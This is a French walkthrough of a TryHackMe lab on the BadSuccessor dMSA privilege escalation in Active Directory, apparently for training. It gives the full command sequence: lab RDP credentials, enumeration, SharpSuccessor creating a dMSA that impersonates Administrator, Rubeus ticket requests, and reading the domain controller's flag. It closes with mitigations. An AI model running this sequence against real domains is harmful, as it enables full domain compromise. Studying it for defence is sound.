Active-Directory-BadSuccessor

Vue d'ensemble

Dans cette salle, nous explorons la technique d'escalade de privilèges BadSuccessor, une vulnérabilité qui abuse des comptes de service gérés délégués (dMSA) dans Active Directory. L'attaque permet à un utilisateur disposant d'un contrôle suffisant sur un objet dMSA d'usurper l'identité d'un autre compte et potentiellement d'atteindre les privilèges d'Administrateur de domaine.

Informations sur la salle

Salle : https://tryhackme.com/room/adbadsuccessor

Difficulté : Moyenne

Date : 05/06/2026

Version : 1.0

Objectif : Démontrer comment les comptes de service gérés délégués peuvent être abusés pour escalader les privilèges et compromettre un environnement Active Directory.

Rôle : Terry Byte (tbyte)

But : Évaluer la sécurité d'un environnement Active Directory nouvellement déployé et déterminer s'il est vulnérable à l'attaque BadSuccessor.

Chemin d'attaque

L'attaque se compose de deux phases principales :

1. Reconnaissance.
2. Escalade de privilèges via l'abus de dMSA

Reconnaissance

Étape 1 - Connexion à la machine cible

• Connectez-vous à la station de travail Windows fournie en utilisant RDP :

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• Après authentification, ouvrez PowerShell.

Étape 2 - Accéder au répertoire de travail

• Déplacez-vous dans le répertoire Proof-of-Concept :

  root@kitploit:~

  cd C:\PoC
  

• Vérifiez le contenu : dir

Étape 3 - Obtenir le script d'énumération

• Téléchargez le script PowerShell depuis le dépôt BadSuccessor d'Akamai :

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Créez ou modifiez le script à l'aide du Bloc-notes :

notepad Get-BadSuccessorOUPermissions.ps1

• Collez le contenu et enregistrez le fichier.

Étape 4 - Énumérer les permissions des OU

• Exécutez le script :

 .\Get-BadSuccessorOUPermissions.ps1

• Le résultat révèle les comptes ayant des permissions qui peuvent potentiellement abuser des comptes de service gérés délégués.
• Identifiez le troisième compte retourné par le script.
• Ce compte sera utilisé pendant la phase d'escalade de privilèges.

Exploitation à l'aide de Windows

Étape 1 - Créer un dMSA malveillant

• Utilisez SharpSuccessor pour créer un compte de service géré délégué qui usurpe l'identité du compte Administrateur :

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

Que se passe-t-il ?

• L'outil crée un nouvel objet dMSA et le configure pour succéder au compte Administrateur.
• Cela établit la base de l'escalade de privilèges.

Étape 2 - Demander un TGT Kerberos

• Utilisez Rubeus pour obtenir un Ticket d'octroi de ticket (TGT) délégué :

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• La commande retourne un ticket Kerberos encodé en Base64.

• Copiez le ticket généré.

Étape 3 - Usurper l'identité du compte dMSA

• Utilisez le TGT délégué pour demander un ticket en tant que le compte dMSA nouvellement créé :

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Résultat :

Un nouveau ticket Kerberos est injecté en mémoire pour le compte dMSA.

Étape 4 - Demander un ticket de service en tant qu'Administrateur

• Utilisez le ticket dMSA pour obtenir l'accès aux services s'exécutant sous le contexte Administrateur :

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Résultat :

• Un ticket de service CIFS est chargé en mémoire.
• Ce ticket fournit l'accès à des ressources qui nécessiteraient normalement des privilèges d'Administrateur de domaine.

Étape 5 - Accéder au bureau de l'Administrateur

• Vérifiez l'accès élevé en parcourant le profil de l'Administrateur sur le contrôleur de domaine :

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• Un listage réussi du répertoire confirme l'accès au niveau administrateur.

Étape 6 - Récupérer le drapeau

• Lisez le drapeau stocké sur le bureau de l'Administrateur :

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Drapeau obtenu avec succès.

Pourquoi BadSuccessor est important

BadSuccessor démontre comment les comptes de service gérés délégués peuvent introduire des voies d'escalade de privilèges dans les environnements Active Directory. Active Directory sert de colonne vertébrale d'identité pour de nombreuses organisations, les vulnérabilités affectant Kerberos et la délégation de comptes peuvent avoir des conséquences graves.

Un attaquant disposant de permissions suffisantes sur un objet dMSA peut :

• Usurper l'identité d'utilisateurs privilégiés
• Obtenir des tickets Kerberos élevés
• Accéder à des ressources sensibles
• Escalader les privilèges jusqu'à Administrateur de domaine
• Potentiellement compromettre l'ensemble de la forêt Active Directory

Recommandations d'atténuation

Pour atténuer BadSuccessor (CVE-2025-53779), les organisations doivent appliquer rapidement les mises à jour de sécurité de Microsoft, restreindre et examiner les permissions dMSA, surveiller les activités Kerberos suspectes, auditer les relations de délégation et appliquer le principe du moindre privilège. Des examens réguliers des paramètres de délégation d'Active Directory peuvent aider à identifier et réduire les voies potentielles d'escalade de privilèges.

Points clés à retenir

Cette salle a fourni une expérience pratique précieuse avec :

• Escalade de privilèges Active Directory
• Comptes de service gérés délégués (dMSA)
• Abus d'authentification Kerberos
• Opérations de tickets Rubeus
• Exploitation SharpSuccessor
• Techniques de validation post-exploitation